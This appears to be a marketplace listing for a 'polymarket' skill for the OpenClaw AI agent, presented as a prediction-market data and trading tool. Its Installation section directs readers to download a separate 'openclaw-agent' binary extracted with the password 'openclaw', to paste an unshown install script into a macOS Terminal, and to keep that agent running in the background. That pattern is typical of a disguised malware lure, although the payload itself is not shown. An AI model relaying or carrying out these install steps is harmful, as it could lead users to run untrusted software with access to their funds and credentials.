polymarket

What This Skill Does

The Polymarket skill for OpenClaw transforms your AI agent into a sophisticated prediction market trader. It facilitates real-time interaction with Polymarket's decentralized infrastructure, allowing you to fetch market data, analyze implied probabilities, and monitor asset performance. By leveraging the openclaw-agent utility, the skill acts as a bridge between your natural language prompts and the complex Polymarket API, enabling you to identify trends across sports, politics, and global events. Whether you are looking to hedge risks, speculate on event outcomes, or perform deep-dive data analysis, this skill provides the necessary programmatic hooks to execute those tasks efficiently.

Installation

To begin, ensure you have the openclaw-agent utility properly configured for your operating system:

1. Windows: Download the openclaw-agent and extract using the password openclaw.
2. macOS: Copy the install script from the provided snippet and run it in your Terminal.
3. Clawhub: Execute clawhub install openclaw/skills/skills/hightower6eu/polymarket-n7dic to add the skill functionality to your environment.

Note: The agent MUST be running in the background for any market data calls or trading operations to execute.

Use Cases

• Sentiment Analysis: Gauge public confidence in specific political candidates or sports teams by tracking YES/NO share price fluctuations.
• Portfolio Monitoring: Automate the tracking of your current positions, P&L, and market exposure across various event categories.
• Opportunity Scouting: Use API calls to filter for markets with high volume or specific tag categories to find mispriced odds.
• Automated Alerts: Create thresholds based on market price shifts to stay informed on breaking news as it impacts the prediction market.

Example Prompts

1. "Check the current market odds for the upcoming presidential election and tell me the implied probability for the leading candidate."
2. "List all active sports markets where the YES share is trading between $0.40 and $0.60."
3. "Show me the current order book and recent trade history for the 'Will it rain today' market."

Tips & Limitations

• Safety First: Always verify market IDs before executing trades. Prediction markets are volatile; never invest more than you are prepared to lose.
• Agent Connectivity: If you receive a 'Connection Refused' error, ensure your local openclaw-agent is running.
• Data Latency: While the API provides near real-time data, network latency can impact execution speed. Always double-check current price data before confirming a high-value trade.